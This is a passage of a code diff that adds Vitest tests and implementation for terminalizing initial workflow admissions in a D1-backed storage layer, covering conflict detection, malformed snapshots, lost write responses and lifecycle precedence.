expect(participants()).toEqual(before); + expect(h.effects()).toBe(0); + }); + + it.each([ + 'unknown', + 'cancelled', + 'timed_out', + 'progressed', + 'conflict', + 'invalid', + 'unreadable', + ] as const)('never enters engine, adapter upsert/delete, side tables or snapshot callbacks for %s terminalization', async (variant) => { + const shouldPersist = vi.fn(() => true); + const prune = vi.fn( + ({ snapshot }: { snapshot: WorkflowRunState }) => snapshot, + ); + const h = await fixture({ + keyed: true, + state: 'proof-only', + shouldPersist, + prune, + }); + const { value: run, witness } = await h.admit(); + expect(shouldPersist).toHaveBeenCalled(); + expect(prune).toHaveBeenCalled(); + const snapshot = JSON.parse(witness.row.snapshot); + if (variant === 'cancelled' || variant === 'timed_out') { + snapshot.requestContext[RUN_LIFECYCLE_CONTEXT_KEY] = { + version: 1, + revision: 1, + transitionIntent: { + status: variant, + requestedAt: 1, + replayPrincipals: [OWNER], + }, + }; + } + const expected = { ...witness.row, snapshot: JSON.stringify(snapshot) }; + if (variant === 'progressed') snapshot.status = 'running'; + if (variant === 'conflict') snapshot.changed = true; + h.sql + .prepare('UPDATE mastra_workflow_snapshot SET snapshot = ?') + .run(JSON.stringify(snapshot)); + const request: InitialTerminalizationRequest = { + expected: + variant === 'unreadable' ? { ...expected, snapshot: '{' } : expected, + execution: h.input.execution, + attemptToken: variant === 'invalid' ? '' : h.input.attemptToken, + nowMs: 1_700_000_000_123, + }; + const before = h.rows(); + const participants = () => [ + h.sql.prepare('SELECT * FROM flowsafe_execution_fence').all(), + h.sql.prepare('SELECT * FROM flowsafe_start_idempotency').all(), + ]; + const participantsBefore = participants(); + const forbidden = vi.fn(() => { + throw new Error('forbidden terminalization entry'); + }); + shouldPersist.mockClear().mockImplementation(forbidden); + prune.mockClear().mockImplementation(forbidden); + const sentinels = [ + forbidden, + vi.spyOn(h.workflow, 'createRun').mockImplementation(forbidden), + vi.spyOn(run, 'start').mockImplementation(forbidden), + vi.spyOn(run, 'resume').mockImplementation(forbidden), + vi + .spyOn(h.domain, 'persistWorkflowSnapshot') + .mockImplementation(forbidden), + vi + .spyOn(WorkflowsStorageD1.prototype, 'persistWorkflowSnapshot') + .mockImplementation(forbidden), + vi.spyOn(h.domain, 'deleteWorkflowRunById').mockImplementation(forbidden), + vi + .spyOn(WorkflowsStorageD1.prototype, 'deleteWorkflowRunById') + .mockImplementation(forbidden), + vi.spyOn(h.db, 'batch').mockImplementation(forbidden), + shouldPersist, + prune, + ]; + const prepare = h.db.prepare.bind(h.db); + const calls = vi.spyOn(h.db, 'prepare').mockImplementation((sql) => { + if ( + !/^(UPDATE|SELECT) /.test(sql) || + !sql.includes('"mastra_workflow_snapshot"') || + /flowsafe_|ON CONFLICT|PRAGMA/.test(sql) + ) + forbidden(); + return prepare(sql); + }); + const result = await h.capability + .terminalizeInitialAdmission(request) + .catch((error: unknown) => error); + for (const sentinel of sentinels) expect(sentinel).not.toHaveBeenCalled(); + expect(participants()).toEqual(participantsBefore); + expect(h.effects()).toBe(0); + expect(isDefinitiveInitialAdmissionRefusal(result, h.input.execution)).toBe( + false, + ); + if (variant === 'invalid' || variant === 'unreadable') { + expect(result).toBeInstanceOf( + variant === 'invalid' + ? InvalidExecutionIdentityError + : ExecutionFenceUnreadableError, + ); + expect(calls).not.toHaveBeenCalled(); + expect(h.rows()).toEqual(before); + } else if (variant === 'progressed' || variant === 'conflict') { + expect(result).toMatchObject({ kind: variant }); + expect(calls).toHaveBeenCalledTimes(2); + expect(h.rows()).toEqual(before); + } else { + expect(result).toMatchObject({ kind: 'terminalized' }); + expect(calls).toHaveBeenCalledTimes(1); + expect(h.rows()).toEqual([ + expect.objectContaining({ + snapshot: expect.stringContaining( + `"status":"${variant === 'unknown' ? 'failed' : variant}"`, + ), + }), + ]); + } + }); + + it('preserves the initiating agent mode, identity and original epoch', async () => { + const h = await terminalFixture(); + const request = h.replace((snapshot) => { + snapshot.requestContext[PROVENANCE].startIdentity = { + owner: OWNER, + target: { kind: 'agent', id: 'agent', threadId: 'thread' }, + }; + snapshot.requestContext[PROVENANCE].agentStart = { threaded: false }; + snapshot.requestContext[PROVENANCE].mutationEpoch = 7; + }); + const result = await h.capability.terminalizeInitialAdmission(request); + if (result.kind === 'conflict') throw new Error('unexpected conflict'); + expect( + JSON.parse(result.row.snapshot).requestContext[PROVENANCE], + ).toMatchObject({ + startIdentity: { + owner: OWNER, + target: { kind: 'agent', id: 'agent', threadId: 'thread' }, + }, + agentStart: { threaded: false }, + mutationEpoch: 7, + }); + }); + it('preserves current lifecycle-terminal precedence and cleanup on progress readback', async () => { + const h = await terminalFixture(); + h.replace((snapshot) => { + snapshot.status = 'success'; + snapshot.requestContext[RUN_LIFECYCLE_CONTEXT_KEY] = { + version: 1, + revision: 9, + scheduleDispatch: { scheduleId: 'schedule', dispatchId: 'dispatch' }, + terminal: { + status: 'timed_out', + error: { code: 'TIMED_OUT', message: 'run deadline expired' }, + transitionedAt: 1, + replayPrincipals: [OWNER], + cleanupCompletedAt: 0, + }, + }; + }); + expect( + await h.capability.terminalizeInitialAdmission(h.request), + ).toMatchObject({ + kind: 'progressed', + cleanup: { + revision: 9, + status: 'timed_out', + cleanupCompleted: true, + scheduleDispatch: { scheduleId: 'schedule', dispatchId: 'dispatch' }, + }, + }); + }); + it.each([ + 'zero', + 'throw', + ] as const)('keeps malformed %s readback unreadable with the original operation cause', async (mode) => { + const h = await terminalFixture(); + const fault = new Error('original write fault'); + terminalResponse(h, () => { + h.sql + .prepare('UPDATE mastra_workflow_snapshot SET snapshot = ?') + .run('{'); + if (mode === 'throw') throw fault; + return { results: [], meta: { changes: 0 } }; + }); + const error = await h.capability + .terminalizeInitialAdmission(h.request) + .catch((error: unknown) => error); + expect(error).toMatchObject({ + status: 503, + message: 'initial admission cannot be terminalized', + cause: mode === 'throw' ? fault : expect.any(Error), + }); + expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe( + false, + ); + }); + it('derives unknown-effects failure solely from the expected initial row', async () => { + const h = await terminalFixture(); + const request = h.replace((snapshot) => { + snapshot.result = { stale: true }; + snapshot.error = { message: 'stale' }; + snapshot.steps = { retained: { output: 'λ' } }; + snapshot.requestContext[PROVENANCE].unknown = { keep: true }; + snapshot.requestContext[RUN_LIFECYCLE_CONTEXT_KEY] = { + version: 1, + revision: Number.MAX_SAFE_INTEGER, + economicOperations: [{ id: 'economic', settlementState: 'disputed' }], + }; + }); + const participants = () => [ + h.sql.prepare('SELECT * FROM flowsafe_execution_fence').all(), + h.sql.prepare('SELECT * FROM flowsafe_start_idempotency').all(), + ]; + const before = participants(); + const prepare = vi.spyOn(h.db, 'prepare'); + const batch = vi.spyOn(h.db, 'batch'); + const result = await h.capability.terminalizeInitialAdmission({ + ...request, + requestedStatus: 'cancelled', + failedSnapshot: { status: 'success' }, + } as InitialTerminalizationRequest); + expect(result.kind).toBe('terminalized'); + if (result.kind === 'conflict') throw new Error('unexpected conflict'); + const snapshot = JSON.parse(result.row.snapshot); + expect(snapshot).toMatchObject({ + status: 'failed', + runId: 'run', + error: { + name: 'StartOutcomeUnknown', + message: + 'Start interrupted before a durable execution outcome was recorded; external effects may have occurred. This run will not be automatically re-executed.', + }, + activePaths: [], + activeStepsPath: {}, + suspendedPaths: {}, + waitingPaths: {}, + resumeLabels: {}, + steps: { retained: { output: 'λ' } }, + timestamp: request.nowMs, + }); + expect(snapshot).not.toHaveProperty('result'); + expect(snapshot.error).not.toHaveProperty('stack'); + const original = JSON.parse(request.expected.snapshot).requestContext; + const expectedContext = { + ...original, + [PROVENANCE]: { ...original[PROVENANCE] }, + }; + delete expectedContext[PROVENANCE].initialAdmission; + expect(snapshot.requestContext).toEqual(expectedContext); + expect(result).not.toHaveProperty('cleanup'); + expect(result.row).toMatchObject({ + resourceId: request.expected.resourceId, + createdAt: request.expected.createdAt, + updatedAt: new Date(request.nowMs).toISOString(), + }); + expect(prepare).toHaveBeenCalledTimes(1); + expect(prepare.mock.calls[0]?.[0]).toMatch(/^UPDATE /); + expect(batch).not.toHaveBeenCalled(); + expect(participants()).toEqual(before); + expect(h.effects()).toBe(0); + }); + + it.each([ + 'cancelled', + 'timed_out', + ] as const)('honors stored %s intent without new caller authority', async (status) => { + const h = await terminalFixture(); + const principals = [{ kind: 'service', id: 'original' }]; + const request = h.replace((snapshot) => { + snapshot.requestContext[RUN_LIFECYCLE_CONTEXT_KEY] = { + version: 1, + revision: Number.MAX_SAFE_INTEGER - 1, + deadlineAt: 123, + scheduleDispatch: { scheduleId: 'schedule', dispatchId: 'dispatch' }, + economicOperations: [{ id: 'economic', settlementState: 'settled' }], + transitionIntent: { + status, + requestedAt: 1, + replayPrincipals: principals, + }, + }; + }); + const result = await h.capability.terminalizeInitialAdmission(request); + expect(result.kind).toBe('terminalized'); + if (result.kind === 'conflict') throw new Error('unexpected conflict'); + const snapshot = JSON.parse(result.row.snapshot); + expect(snapshot.status).toBe(status); + expect(snapshot.error).toEqual({ + name: status === 'cancelled' ? 'RunCancelledError' : 'RunTimedOutError', + message: + status === 'cancelled' ? 'run was cancelled' : 'run deadline expired', + }); + expect(snapshot.requestContext[PROVENANCE]).not.toHaveProperty( + 'initialAdmission', + ); + const lifecycle = snapshot.requestContext[RUN_LIFECYCLE_CONTEXT_KEY]; + expect(lifecycle).not.toHaveProperty('transitionIntent'); + expect(lifecycle).toMatchObject({ + revision: Number.MAX_SAFE_INTEGER, + deadlineAt: 123, + economicOperations: [{ id: 'economic', settlementState: 'settled' }], + terminal: { + status, + transitionedAt: request.nowMs, + replayPrincipals: principals, + }, + }); + expect(lifecycle.terminal).not.toHaveProperty('cleanupCompletedAt'); + expect(result.cleanup).toEqual({ + revision: Number.MAX_SAFE_INTEGER, + status, + cleanupCompleted: false, + scheduleDispatch: { scheduleId: 'schedule', dispatchId: 'dispatch' }, + }); + }); + + it.each([ + 'disputed', + 'exhausted', + ])('retains %s lifecycle state without a write', async (variant) => { + const h = await terminalFixture(); + const request = h.replace((snapshot) => { + snapshot.requestContext[RUN_LIFECYCLE_CONTEXT_KEY] = { + version: 1, + revision: variant === 'exhausted' ? Number.MAX_SAFE_INTEGER : 1, + economicOperations: [{ id: 'operation', settlementState: variant }], + transitionIntent: { + status: 'cancelled', + requestedAt: 1, + replayPrincipals: [OWNER], + }, + }; + }); + const before = h.rows(); + const prepare = vi.spyOn(h.db, 'prepare'); + const error = await h.capability + .terminalizeInitialAdmission(request) + .catch((error: unknown) => error); + expect(h.rows()).toEqual(before); + expect(prepare).not.toHaveBeenCalled(); + if (variant === 'disputed') + expect(error).toBeInstanceOf(RunLifecycleBlockedError); + else + expect(error).toMatchObject({ + message: 'initial admission cannot be terminalized', + cause: { message: 'run lifecycle revision cannot advance' }, + }); + expect(isDefinitiveInitialAdmissionRefusal(error, request.execution)).toBe( + false, + ); + }); + + it.each([ + ['invalid JSON', 503], + ['array root', 503], + ['unknown status', 503], + ['missing run', 503], + ['wrong body run', 503], + ['array context', 503], + ['null provenance', 503], + ['unknown version', 503], + ['malformed counts nonpending', 503], + ['malformed lifecycle nonpending', 503], + ['malformed epoch', 503], + ['legacy', 400], + ['absent provenance', 400], + ['nonpending', 400], + ['unmarked', 400], + ['other S', 400], + ['other H', 400], + ['progressed requester', 400], + ['progressed count', 400], + ['terminal lifecycle', 400], + ['active path', 400], + ['missing control', 400], + ['wrong aux run', 400], + ['wrong aux workflow', 400], + ['inherited workflow target', 400], + ] as const)('distinguishes %s observations with status %i before SQL', async (variant, status) => { + const h = await terminalFixture(); + const value = JSON.parse(h.request.expected.snapshot); + const context = value.requestContext; + const provenance = context[PROVENANCE]; + if (variant === 'unknown status') value.status = 'invented'; + if (variant === 'missing run') delete value.runId; + if (variant === 'wrong body run') value.runId = 'other'; + if (variant === 'array context') value.requestContext = []; + if (variant === 'null provenance') context[PROVENANCE] = null; + if (variant === 'unknown version') provenance.version = 3; + if (variant === 'legacy') provenance.version = 1; + if (variant === 'absent provenance') delete context[PROVENANCE]; + if (variant.includes('nonpending')) value.status = 'success'; + if (variant === 'malformed counts nonpending') + provenance.resumeCounts = [['step', -1]]; + if (variant === 'malformed lifecycle nonpending') + context[RUN_LIFECYCLE_CONTEXT_KEY] = { version: 1, revision: 0 }; + if (variant === 'malformed epoch') provenance.mutationEpoch = '0'; + if (variant === 'unmarked') delete provenance.initialAdmission; + if (variant === 'other S') provenance.startToken = 'other'; + if (variant === 'other H') provenance.attemptToken = 'other'; + if (variant === 'progressed requester') provenance.requestedBy = 'Bob'; + if (variant === 'progressed count') provenance.resumeCounts = [['step', 1]]; + if (variant === 'terminal lifecycle') + context[RUN_LIFECYCLE_CONTEXT_KEY] = { + version: 1, + revision: 1, + terminal: { + status: 'cancelled', + error: { code: 'CANCELLED', message: 'run was cancelled' }, + transitionedAt: 1, + replayPrincipals: [OWNER], + }, + }; + if (variant === 'active path') value.activePaths = ['step']; + if (variant === 'missing control') delete value.waitingPaths; + if (variant === 'wrong aux run') context.runId = 'other'; + if (variant === 'wrong aux workflow') + context['breakwater.workflowScope'] = 'other'; + if (variant === 'inherited workflow target') + provenance.startIdentity.target.id = 'parent'; + const snapshot = + variant === 'invalid JSON' + ? '{' + : variant === 'array root' + ? '[]' + : JSON.stringify(value); + const before = h.rows(); + const prepare = vi.spyOn(h.db, 'prepare'); + const error = await h.capability + .terminalizeInitialAdmission({ + ...h.request, + expected: { ...h.request.expected, snapshot }, + }) + .catch((error: unknown) => error); + expect(h.rows()).toEqual(before); + expect(prepare).not.toHaveBeenCalled(); + expect(error).toMatchObject({ status }); + if (status === 503) { + expect(error).toBeInstanceOf(ExecutionFenceUnreadableError); + expect(error).toMatchObject({ + name: 'ExecutionFenceUnreadableError', + reason: { code: 'EXECUTION_FENCE_UNREADABLE' }, + message: 'initial admission cannot be terminalized', + cause: expect.any(Error), + }); + } else { + expect(error).toBeInstanceOf(InvalidExecutionIdentityError); + if (!(error instanceof InvalidExecutionIdentityError)) + throw new Error('expected input error'); + expect(error.constructor).toBe(InvalidExecutionIdentityError); + expect(error.reason).toEqual({ code: 'INVALID_EXECUTION_IDENTITY' }); + expect(error).toMatchObject({ + name: 'InvalidExecutionIdentityError', + reason: { code: 'INVALID_EXECUTION_IDENTITY' }, + message: 'initial admission identity is inconsistent', + }); + } + expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe( + false, + ); + }); + + it('rejects incoherent caller frames and preserves original getter faults before SQL', async () => { + const h = await terminalFixture(); + const admissionMessage = 'initial admission identity is inconsistent'; + const invalid: Array<[unknown, string]> = [ + [null, admissionMessage], + [[], admissionMessage], + [{}, 'execution identity must be an object'], + ...[NaN, Infinity, -1, 1.5, Number.MAX_SAFE_INTEGER].map( + (nowMs): [unknown, string] => [ + { ...h.request, nowMs }, + admissionMessage, + ], + ), + [{ ...h.request, attemptToken: '' }, admissionMessage], + [ + { + ...h.request, + execution: { ...h.request.execution, tablePrefix: null }, + }, + 'tablePrefix is not valid for this execution identity', + ], + ]; + for (const [field, value] of Object.entries({ + tablePrefix: 'other_', + workflowId: 'other', + runId: 'other', + snapshot: null, + resourceId: 1, + createdAt: null, + updatedAt: null, + })) + invalid.push([ + { + ...h.request, + expected: { ...h.request.expected, [field]: value }, + }, + admissionMessage, + ]); + const prepare = vi.spyOn(h.db, 'prepare'); + const batch = vi.spyOn(h.db, 'batch'); + const before = h.rows(); + for (const [request, message] of invalid) { + const error = await h.capability + .terminalizeInitialAdmission(request as InitialTerminalizationRequest) + .catch((error: unknown) => error); + expect(error).toBeInstanceOf(InvalidExecutionIdentityError); + if (!(error instanceof InvalidExecutionIdentityError)) + throw new Error('expected input error'); + expect(error.constructor).toBe(InvalidExecutionIdentityError); + expect(error.reason).toEqual({ code: 'INVALID_EXECUTION_IDENTITY' }); + expect(error).toMatchObject({ + status: 400, + name: 'InvalidExecutionIdentityError', + reason: { code: 'INVALID_EXECUTION_IDENTITY' }, + message, + }); + expect( + isDefinitiveInitialAdmissionRefusal(error, h.input.execution), + ).toBe(false); + expect(prepare).not.toHaveBeenCalled(); + expect(batch).not.toHaveBeenCalled(); + expect(h.rows()).toEqual(before); + } + const fault = new Error('caller accessor'); + await expect( + h.capability.terminalizeInitialAdmission({ + ...h.request, + get expected(): RawWorkflowSnapshot { + throw fault; + }, + }), + ).rejects.toBe(fault); + expect(prepare).not.toHaveBeenCalled(); + }); + + it.each([ + 'workflow_name', + 'run_id', + 'snapshot', + 'createdAt', + 'updatedAt', + 'resourceId', + ])('compares the original raw %s field without retry', async (field) => { + const h = await terminalFixture(); + const value = + field === 'snapshot' + ? JSON.stringify({ + ...JSON.parse(h.request.expected.snapshot), + changed: true, + }) + : 'other'; + h.sql + .prepare(`UPDATE mastra_workflow_snapshot SET ${field} = ?`) + .run(value); + const before = h.rows(); + const prepare = vi.spyOn(h.db, 'prepare'); + const result = await h.capability + .terminalizeInitialAdmission(h.request) + .catch((error: unknown) => error); + expect(h.rows()).toEqual(before); + expect(result).toMatchObject({ kind: 'conflict' }); + expect(prepare).toHaveBeenCalledTimes(2); + }); + + it.each([ + 'committed', + 'zero', + 'throw-before', + 'missing-table', + ])('classifies %s response loss without automatic replay', async (variant) => { + const h = await terminalFixture(); + const fault = new Error('write response lost'); + if (variant === 'missing-table') + h.sql.exec('DROP TABLE mastra_workflow_snapshot'); + const prepare = h.db.prepare.bind(h.db); + const calls = vi.spyOn(h.db, 'prepare').mockImplementation((sql) => { + const statement = prepare(sql); + if (sql.startsWith('UPDATE "')) { + const bind = statement.bind.bind(statement); + vi.spyOn(statement, 'bind').mockImplementation((...values) => { + const bound = bind(...values); + const all = bound.all.bind(bound); + vi.spyOn(bound, 'all').mockImplementation(async () => { + if (variant !== 'throw-before' && variant !== 'missing-table') + await all(); + if (variant === 'zero') + return { results: [], meta: { changes: 0 } }; + throw fault; + }); + return bound; + }); + } + return statement; + }); + const outcome = await h.capability + .terminalizeInitialAdmission(h.request) + .catch((error: unknown) => error); + expect(calls).toHaveBeenCalledTimes(2); + if (variant === 'committed' || variant === 'zero') + expect(outcome).toMatchObject({ kind: 'already-terminalized' }); + else + expect(outcome).toMatchObject({ + message: 'initial admission cannot be terminalized', + cause: fault, + }); + expect( + isDefinitiveInitialAdmissionRefusal(outcome, h.input.execution), + ).toBe(false); + expect(h.effects()).toBe(0); + }); + + it.each([ + 'running', + 'success', + 'failed', + 'suspended', + 'waiting', + 'paused', + 'canceled', + 'bailed', + 'skipped', + 'tripwire', + 'waiting_callback', + 'waiting_signal', + 'retry_wait', + 'cancelled', + 'timed_out', + ])('recognizes same-generation %s progress with a retained admission stamp', async (status) => { + const h = await terminalFixture(); + h.replace((snapshot) => { + snapshot.status = status; + snapshot.requestContext[PROVENANCE].requestedBy = 'Bob'; + snapshot.requestContext[PROVENANCE].attemptToken = 'resume'; + snapshot.requestContext[PROVENANCE].resumeCounts = [ + ['gate', Number.MAX_SAFE_INTEGER], + ]; + }); + const before = h.rows(); + const result = await h.capability.terminalizeInitialAdmission(h.request); + expect(h.rows()).toEqual(before); + expect(result.kind).toBe('progressed'); + expect(result).not.toHaveProperty('cleanup'); + }); + + it.each([ + 'pending marked', + 'pending unmarked', + 'other generation', + 'other owner', + 'other target', + 'other epoch', + 'legacy', + ])('does not call %s convergence progress', async (variant) => { + const h = await terminalFixture(); + h.replace((snapshot) => { + snapshot.changed = true; + snapshot.status = variant.startsWith('pending') ? 'pending' : 'success'; + const provenance = snapshot.requestContext[PROVENANCE]; + if (variant === 'pending unmarked') delete provenance.initialAdmission; + if (variant === 'other generation') provenance.startToken = 'other'; + if (variant === 'other owner') provenance.startIdentity.owner.id = 'Bob'; + if (variant === 'other target') + provenance.startIdentity.target.id = 'other'; + if (variant === 'other epoch') provenance.mutationEpoch = 1; + if (variant === 'legacy') provenance.version = 1; + }); + const before = h.rows(); + expect( + await h.capability.terminalizeInitialAdmission(h.request), + ).toMatchObject({ kind: 'conflict' }); + expect(h.rows()).toEqual(before); + }); + + it.each([ + 'workflow_name', + 'run_id', + 'resourceId', + 'snapshot', + 'createdAt', + 'updatedAt', + ] as const)('rejects changed returned %s after an actual commit without readback', async (field) => { + const h = await terminalFixture(); + const committed: Record[] = []; + const calls = terminalResponse(h, (raw) => { + const response = raw as { results: Record[] }; + expect(response.results).toHaveLength(1); + const row = response.results[0]; + if (!row) throw new Error('committed returned row required'); + committed.push({ ...row }); + const value = + field === 'snapshot' + ? JSON.stringify({ + ...JSON.parse(row.snapshot as string), + changedReturn: true, + }) + : field === 'createdAt' || field === 'updatedAt' + ? '2000-01-01T00:00:00.000Z' + : 'different-returned-value'; + expect(value).not.toEqual(row[field]); + return { ...response, results: [{ ...row, [field]: value }] }; + }); + const outcome = await h.capability + .terminalizeInitialAdmission(h.request) + .catch((error: unknown) => error); + expect(outcome).toBeInstanceOf(ExecutionFenceUnreadableError); + expect(outcome).toMatchObject({ + status: 503, + message: 'initial admission cannot be terminalized', + reason: { code: 'EXECUTION_FENCE_UNREADABLE' }, + cause: expect.any(Error), + }); + expect(calls).toHaveBeenCalledTimes(1); + expect(calls.mock.calls[0]?.[0]).toMatch(/^UPDATE /); + expect(committed).toHaveLength(1); + expect(h.rows()).toEqual(committed); + expect( + isDefinitiveInitialAdmissionRefusal(outcome, h.input.execution), + ).toBe(false); + expect(h.effects()).toBe(0); + }); + + it.each([ + 'false success', + 'missing results', + 'multiple rows', + 'wrong row', + 'inconsistent changes', + 'negative changes', + 'sparse results', + 'inherited result', + 'shrinking results', + ])('refuses %s RETURNING without a recovery read or definitive-zero evidence', async (variant) => { + const h = await terminalFixture(); + const calls = terminalResponse(h, (raw) => { + const response = raw as { + results: Record[]; + meta: { changes: number }; + }; + const row = response.results[0]; + if (!row) throw new Error('fixture requires committed returned row'); + if (variant === 'false success') return { ...response, success: false }; + if (variant === 'missing results') return {}; + if (variant === 'multiple rows') + return { ...response, results: [row, row] }; + if (variant === 'wrong row') + return { ...response, results: [{ ...row, snapshot: '{}' }] }; + if (variant === 'inconsistent changes') + return { ...response, meta: { changes: 0 } }; + if (variant === 'negative changes') + return { ...response, meta: { changes: -1 } }; + if (variant === 'sparse results') + return { ...response, results: new Array(1) }; + if (variant === 'inherited result') { + const rows = new Array(1); + Object.setPrototypeOf( + rows, + Object.assign(Object.create(Array.prototype), { 0: row }), + ); + return { ...response, results: rows }; + } + const rows = [row, row]; + Object.defineProperty(rows, 0, { + get() { + rows.length = 1; + return row; + }, + }); + return { ...response, results: rows }; + }); + const error = await h.capability + .terminalizeInitialAdmission(h.request) + .catch((error: unknown) => error); + expect(calls).toHaveBeenCalledTimes(1); + expect(error).toMatchObject({ + message: 'initial admission cannot be terminalized', + status: 503, + }); + expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe( + false, + ); + expect(h.rows()).toEqual([ + expect.objectContaining({ + snapshot: expect.stringContaining('"status":"failed"'), + }), + ]); + }); + + it('captures returned envelope, row fields and changes once without consulting custom iterators', async () => { + const h = await terminalFixture(); + const reads: string[] = []; + terminalResponse(h, (raw) => { + const response = raw as { + results: Record[]; + meta: { changes: number }; + }; + const original = response.results[0]; + if (!original) throw new Error('committed row required'); + const row = Object.fromEntries( + Object.keys(original).map((key) => [key, original[key]]), + ); + for (const key of Object.keys(row)) + Object.defineProperty(row, key, { + get() { + reads.push(key); + if (reads.filter((value) => value === key).length > 1) + throw new Error('row reread'); + return original[key]; + }, + }); + const rows = [row]; + rows[Symbol.iterator] = () => { + throw new Error('custom iterator'); + }; + return { + get results() { + reads.push('results'); + return rows; + }, + get meta() { + reads.push('meta'); + return { + get changes() { + reads.push('changes'); + return 1; + }, + }; + }, + }; + }); + expect( + await h.capability.terminalizeInitialAdmission(h.request), + ).toMatchObject({ kind: 'terminalized' }); + expect(reads.length).toBe(9); + expect(new Set(reads).size).toBe(9); + }); +}); + function claim(input: InitialRunAdmission) { if (!input.reservation) throw new Error('test requires a keyed fixture'); return input.reservation; diff --git a/packages/flowsafe/src/do-runner/fenced-workflows-d1.ts b/packages/flowsafe/src/do-runner/fenced-workflows-d1.ts index edb69dd6..9b2f50a4 100644 --- a/packages/flowsafe/src/do-runner/fenced-workflows-d1.ts +++ b/packages/flowsafe/src/do-runner/fenced-workflows-d1.ts @@ -33,11 +33,30 @@ import { type InitialAdmissionDatabase, type InitialAdmissionWitness, type InitialRunAdmission, + type InitialTerminalizationRequest, + type InitialTerminalizationResult, } from './fenced-workflow-capability.js'; import { definitiveInitialAdmissionRefusal } from './initial-admission-refusal.js'; import { isPathSafeId } from './path-safe-id.js'; -import { decodeInitialRunProvenance } from './run-provenance.js'; +import { + hasDisputedSettlement, + parseRunLifecycle, + projectTerminalLifecycle, + RUN_LIFECYCLE_CONTEXT_KEY, + RunLifecycleBlockedError, + terminalCleanupFor, +} from './run-lifecycle.js'; +import { + decodeInitialRunProvenance, + decodeProgressRunProvenance, + type ProgressRunProvenance, +} from './run-provenance.js'; import { RESOURCE_OWNER_TABLE } from './run-storage-tables.js'; +import { + isRunStatus, + terminalStateFields, + terminalStateUpdate, +} from './run-terminal-state.js'; import { decodeStartReservationAdmissionResult, START_IDEMPOTENCY_TABLE, @@ -414,24 +433,215 @@ function captureBatchResults(value: unknown, length: number) { return Array.from({ length }, (_, index) => { if (!Object.hasOwn(value, index)) throw new Error('initial batch is missing a result'); - const result = value[index]; - const results = snapshotResultRows(result).map((row) => - Object.freeze( - Object.fromEntries( - Object.getOwnPropertyNames(row).map((key) => [key, row[key]]), - ), + return captureStatementResult(value[index]); + }); +} + +function captureStatementResult(result: unknown) { + const results = snapshotResultRows(result).map((row) => + Object.freeze( + Object.fromEntries( + Object.getOwnPropertyNames(row).map((key) => [key, row[key]]), ), - ); - const meta = record(result).meta; - const hasChanges = meta !== undefined && 'changes' in record(meta); - return { - results, - ...(hasChanges ? { meta: { changes: record(meta).changes } } : {}), - }; + ), + ); + const meta = record(result).meta; + const hasChanges = meta !== undefined && 'changes' in record(meta); + return { + results, + ...(hasChanges ? { meta: { changes: record(meta).changes } } : {}), + }; +} + +function terminalizationUnreadable( + cause: unknown, +): ExecutionFenceUnreadableError { + return new ExecutionFenceUnreadableError( + 'initial admission cannot be terminalized', + { cause }, + ); +} + +function terminalizationSnapshot(row: RawWorkflowSnapshot) { + const snapshot = record(JSON.parse(row.snapshot)); + if ( + !isRunStatus(snapshot.status) || + typeof snapshot.runId !== 'string' || + snapshot.runId !== row.runId + ) + throw new Error('stored workflow snapshot is malformed'); + const context = + snapshot.requestContext === undefined + ? {} + : record(snapshot.requestContext); + const rawProvenance = context[PROVENANCE]; + if (rawProvenance === undefined || record(rawProvenance).version === 1) + return { snapshot, context, provenance: undefined, lifecycle: undefined }; + const provenance = decodeProgressRunProvenance(rawProvenance); + const lifecycle = parseRunLifecycle(context[RUN_LIFECYCLE_CONTEXT_KEY]); + return { snapshot, context, provenance, lifecycle }; +} + +function sameStart( + actual: ProgressRunProvenance, + expected: ProgressRunProvenance, +): boolean { + return ( + actual.startToken === expected.startToken && + actual.mutationEpoch === expected.mutationEpoch && + actual.agentStart?.threaded === expected.agentStart?.threaded && + actual.startIdentity?.owner.kind === expected.startIdentity?.owner.kind && + actual.startIdentity?.owner.id === expected.startIdentity?.owner.id && + actual.startIdentity?.target.kind === expected.startIdentity?.target.kind && + actual.startIdentity?.target.id === expected.startIdentity?.target.id && + (actual.startIdentity?.target.kind === 'agent' + ? actual.startIdentity.target.threadId + : undefined) === + (expected.startIdentity?.target.kind === 'agent' + ? expected.startIdentity.target.threadId + : undefined) + ); +} + +function prepareTerminalization( + source: InitialTerminalizationRequest, + tablePrefix: string, +) { + const { + expected: rawExpected, + execution: rawExecution, + attemptToken, + nowMs, + } = record(source); + const execution = normalizeD1RunExecutionIdentity(rawExecution); + const { + tablePrefix: expectedPrefix, + workflowId, + runId, + resourceId, + snapshot, + createdAt, + updatedAt, + } = record(rawExpected); + if ( + expectedPrefix !== tablePrefix || + execution.tablePrefix !== tablePrefix || + workflowId !== execution.workflowId || + runId !== execution.runId || + (resourceId !== null && typeof resourceId !== 'string') || + typeof snapshot !== 'string' || + typeof createdAt !== 'string' || + typeof updatedAt !== 'string' || + !isPathSafeId(attemptToken) || + typeof nowMs !== 'number' || + !Number.isSafeInteger(nowMs) || + nowMs < 0 + ) + throw new InvalidExecutionIdentityError('admission'); + let nowIso: string; + try { + nowIso = new Date(nowMs).toISOString(); + } catch { + throw new InvalidExecutionIdentityError('admission'); + } + const expected: RawWorkflowSnapshot = Object.freeze({ + tablePrefix, + workflowId, + runId, + resourceId, + snapshot, + createdAt, + updatedAt, + }); + let parsed: ReturnType; + try { + parsed = terminalizationSnapshot(expected); + } catch (error) { + throw terminalizationUnreadable(error); + } + const { provenance, lifecycle, context } = parsed; + if ( + !provenance || + provenance.startToken !== execution.startToken || + provenance.attemptToken !== attemptToken || + provenance.initialAdmission !== true || + provenance.resumeCounts.length !== 0 || + lifecycle?.terminal || + provenance.requestedBy !== provenance.startIdentity?.owner.id || + provenance.requestedByKind !== provenance.startIdentity?.owner.kind || + (context.runId !== undefined && context.runId !== runId) || + (context['breakwater.workflowScope'] !== undefined && + context['breakwater.workflowScope'] !== workflowId) || + (provenance.startIdentity?.target.kind === 'workflow' && + provenance.startIdentity.target.id !== workflowId) + ) + throw new InvalidExecutionIdentityError('admission'); + assertInitialSnapshot(parsed.snapshot, runId); + try { + decodeInitialRunProvenance(context[PROVENANCE], 'present'); + } catch (error) { + throw terminalizationUnreadable(error); + } + const nextProvenance = { ...record(context[PROVENANCE]) }; + delete nextProvenance.initialAdmission; + const nextContext: Record = { + ...context, + [PROVENANCE]: nextProvenance, + }; + let fields = terminalStateUpdate({ + status: 'failed', + error: { + name: 'StartOutcomeUnknown', + message: + 